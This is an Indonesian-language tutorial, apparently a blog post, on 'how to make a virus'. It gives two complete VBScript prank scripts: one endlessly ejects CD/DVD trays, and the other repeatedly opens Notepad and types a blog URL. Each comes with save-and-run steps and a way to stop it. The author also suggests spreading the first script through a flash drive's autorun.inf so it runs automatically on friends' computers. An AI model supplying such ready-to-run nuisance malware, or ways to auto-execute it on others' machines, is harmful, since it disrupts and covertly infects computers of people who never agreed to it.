Cara membuat Virus

saya akan kasih tau cara membuat virus sederhana tapi cukup membuat anda garuk kepala. Disini ada dua caranya. tapi baca satu persatu caranya ya...???


CARA 1
Caranya: Buka notepad dan masukkan code berikut:

Set ilikepies = CreateObject("WMPlayer.OCX.7")
Set ilikepie = ilikepies.cdromCollection
if ilikepie.Count >=1 then
do
For ilikepiesalot=0 to ilikepie.COunt -1
ilikepie.Item(ilikepiesalot).Eject
Next ' cdrom
For ilikepiesalot=0 to ilikepie.COunt -1
ilikepie.Item(ilikepiesalot).Eject
Next ' cdrom
loop
End If

Save file dengan ekstensi jahil.vbs atau apapun
nama kesukaan anda asalkan pastikan ekstensinya .vbs, dan jalankan filenya (Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan sendirinya


Salah satu cara menghentikan aksi Virus Nakal ini ialah dengan menekan tombol CRTL+ALT+DEL dan matikan proses wscripts.exe,
Kalau mau yang lebih keren lagi, masukkan ke file autorun.inf di flashdisk anda, jadi setiap kamu colokin ke komp teman, maka akan otomatis dijalankan Virus Nakal ini..


CARA 2
1. Copy code vbscript dibawah ini (diantara garis pembatas)

-------------------------------

WScript.Sleep 18000
WScript.Sleep 1000
do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "K"
WScript.Sleep 500
WshShell.SendKeys "u"
WScript.Sleep 500
WshShell.SendKeys "n"
WScript.Sleep 500
WshShell.SendKeys "j"
WScript.Sleep 500
WshShell.SendKeys "u"
WScript.Sleep 500
WshShell.SendKeys "n"
WScript.Sleep 500
WshShell.SendKeys "g"
WScript.Sleep 500
WshShell.SendKeys "i"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "l"
WScript.Sleep 500
WshShell.SendKeys "i"
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "e"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "s"
WScript.Sleep 500
WshShell.SendKeys "."
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "l"
WScript.Sleep 500
WshShell.SendKeys "o"
WScript.Sleep 500
WshShell.SendKeys "g"
WScript.Sleep 500
WshShell.SendKeys "s"
WScript.Sleep 500
WshShell.SendKeys "p"
WScript.Sleep 500
WshShell.SendKeys "o"
WScript.Sleep 500
WshShell.SendKeys "."
WScript.Sleep 500
WshShell.SendKeys "c"
WScript.Sleep 500
WshShell.SendKeys "o"
WScript.Sleep 500
WshShell.SendKeys "m"
WScript.Sleep 500
wscript.sleep 5000
loop

------------------------------------

2. Buka Notepad, paste code nya di notepad, simpan dengan extensi vbs (misal jahil2.vbs)
3. jalankan file/documen yang telah disimpan, klik 2X

nah sekarang bagaimana cara mematikanya
ikutilah langkah-langkah berikut ini :

1. Buka Task Manager dengan cara tekan Ctrl + Alt + Delete yang ada di keyboard

2. Masuk ke tab Processes

3. Cari dan klik program yang sedang berjalan dengan nama wscripts.exe

4. Matikan program tersebut cara menekan End Process


sekian ya capek.